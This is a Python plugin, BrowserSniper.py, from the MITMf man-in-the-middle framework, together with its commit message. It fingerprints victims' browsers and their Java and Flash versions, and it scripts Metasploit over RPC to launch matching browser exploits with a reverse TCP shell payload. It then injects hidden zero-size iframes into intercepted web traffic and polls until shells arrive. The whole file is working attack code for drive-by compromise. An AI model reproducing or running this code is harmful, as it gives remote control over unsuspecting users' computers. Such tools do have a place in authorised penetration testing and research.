MITMf/plugins/BrowserSniper.py
byt3bl33d3r ff39a302f9 This commit is just to push the changes so far to github , still have to tidy things up here and there and fix some bugs (also I really hate javascript)
JavaPwn plugin has been renamed to BrowserSniper (cause it now supports java, flash and browser exploits), it's been completly re-written along with it's config file section
Addition of the screenshotter plugin, currently there is a bug when decoding the base64 encoded png files (a very wierd one) , but other than that it works (did i mention i hate js?)
Jskeylogger's javscript now works on every browser except FF mobile (have no clue what's with that) p.s. did i mention i hate JS?
Plugins that deal with javascript now read it from a file as supposed to having it built in (encoding issues) fu javascript
User agent parsing is now built in and handled by core/httpagentparser.py, this because the user-agent library is a pain to install on some distros , also removes 3-4 deps which is a plus

also fuck javascript
2015-05-16 00:43:56 +02:00

222 lines
9.2 KiB
Python

#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
mitmf_logger = logging.getLogger("mitmf")
class BrowserSniper(BrowserProfiler, Plugin):
name = "BrowserSniper"
optname = "browsersniper"
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
version = "0.4"
has_opts = False
def initialize(self, options):
self.options = options
self.msfip = SystemConfig.getIP(options.interface)
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
msfcfg = self.config['MITMf']['Metasploit']
self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass']
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
try:
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
self.msf.login('msf', self.rpcpass)
version = self.msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
def startThread(self, options):
self.snipe()
def onConfigChange(self):
self.initialize(self.options)
def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
def _getRandPort(self):
return random.randint(1000, 65535)
def _setupExploit(self, exploit, msfport):
rand_url = self._genRandURL()
rand_port = self._getRandPort()
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
#Create a virtual console
console_id = self.msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [console_id, cmd])
return (rand_url, rand_port)
def _compat_system(self, os_config, brw_config):
os = self.output['useragent'][0].lower()
browser = self.output['useragent'][1].lower()
if (os_config == 'any') and (brw_config == 'any'):
return True
if (os_config == 'any') and (brw_config in browser):
return True
if (os_config in os) and (brw_config == 'any'):
return True
if (os_config in os) and (brw_config in browser):
return True
return False
def getExploits(self):
exploits = list()
vic_ip = self.output['ip']
#First get the client's info
java = None
if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'):
java = self.output['java_version']
flash = None
if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'):
flash = self.output['flash_version']
mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash))
for exploit, details in self.config['BrowserSniper'].iteritems():
if self._compat_system(details['OS'].lower(), details['Browser'].lower()):
if details['Type'].lower() == 'browservuln':
exploits.append(exploit)
elif details['Type'].lower() == 'pluginvuln':
if details['Plugin'].lower() == 'java':
if (java is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
elif details['Plugin'].lower() == 'flash':
if (flash is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
return exploits
def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip))
self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
#probably a much cleaner way of doing this :/
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
exit_loop = False
poll_n = 1
while poll_n <= 30:
if exit_loop is True:
break
sessions = self.msf.call('session.list')
if sessions:
for k, v in sessions.iteritems():
if ip in sessions[k]['tunnel_peer']:
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit_loop = True
break
poll_n += 1
sleep(2)
if exit_loop is False: #We didn't get a shell :(
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def snipe(self):
while True:
if self.output:
vic_ip = self.output['ip']
msfport = self.config['MITMf']['Metasploit']['msfport']
exploits = self.getExploits()
if not exploits:
if vic_ip not in self.sploited_ips:
mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
self.sploited_ips.append(vic_ip)
self.black_ips = self.sploited_ips
elif exploits and (vic_ip not in self.sploited_ips):
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
inject_payload = ''
for exploit in exploits:
jobs = self.msf.call('job.list') #get running jobs
if jobs:
for pid, name in jobs.iteritems():
info = self.msf.call('job.info', [pid])
if (exploit in info['name']):
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
self.injectAndPoll(vic_ip, inject_payload)
sleep(1)